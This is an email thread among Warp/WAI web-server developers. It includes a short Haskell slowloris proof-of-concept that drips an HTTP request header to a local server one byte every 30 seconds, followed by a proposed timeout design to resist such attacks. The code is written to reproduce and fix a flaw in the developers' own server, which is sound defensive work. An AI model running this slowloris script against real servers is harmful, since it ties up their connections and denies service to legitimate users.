
On Thu, Oct 20, 2011 at 6:28 AM, Kazu Yamamoto
Hello Michael,
I've started a new branch (slowloris); let's try to come up with a complete set of changes to address the issues and then merge it back. Here's the change I was describing:
https://github.com/yesodweb/wai/commit/58119eb0b762fde98567ba181ada61b14dfed...
I confirmed that my problem is gone. I hope that this will be merged and the next Warp will be released.
I also confirmed Greg's slowloris attach is possible. The following code demonstrates it. I think we should introduce rate limiting in the future.
--Kazu
module Main where
import Control.Concurrent import Data.ByteString.Char8 import Network.Socket hiding (send, recv) import Network.Socket.ByteString import System.IO
header :: String header = "GET / HTTP/1.1\r\nHost: localhost\r\n"
main :: IO () main = do let hint = defaultHints { addrFlags = [AI_NUMERICHOST, AI_NUMERICSERV] , addrSocketType = Stream } a:_ <- getAddrInfo (Just hint) (Just "127.0.0.1") (Just "8080") s <- socket (addrFamily a) (addrSocketType a) (addrProtocol a) connect s (addrAddress a) slowloris s header
slowloris :: Socket -> String -> IO () slowloris _ [] = return () slowloris s (c:cs) = do send s (pack [c]) putChar c hFlush stdout threadDelay (30 * 1000000) slowloris s cs
I think Greg's/Snap's approach of a separate timeout for the status and headers is right on the money. It should never take more than one timeout cycle to receive a full set of headers, regardless of how slow the user's connection, and given a reasonable timeout setting from the user (anything over 2 seconds should be fine I'd guess, and our default is 30 seconds). The bigger question is what we do about the request body. A simple approach might just be that if we receive a packet from the client which is less than a certain size (user defined, maybe 2048 bytes is a good default) it does not tickle the timeout at all. Obviously this means a malicious program could be devised to send precisely 2048 bytes per timeout cycle... but I don't think there's any way to do better than this. We *have* to err on the side of allowing attacks, otherwise we'll end up with disconnecting valid requests. In other words, here's how I'd see the timeout code working: 1. A timeout is created at the beginning of a connection, and not tickled at all until all the request headers are read in. 2. Every time X (default: 2048) bytes of the request body are read, the timeout is tickled. Actually, to elaborate on (2) a bit: we want to make sure we're not applying the timeout to the application code at all, so what we'd really do is: a. Try to read a piece of the request body. b. If the piece is greater than X bytes, or the entire request body is now read, pause the timeout. c. Pass that chunk to the application. d. If the request body has not been entirely read, resume the timeout and return to (a). The response body timeout code should be relatively safe already I believe: it only tickles the timeout once all the data is sent. Michael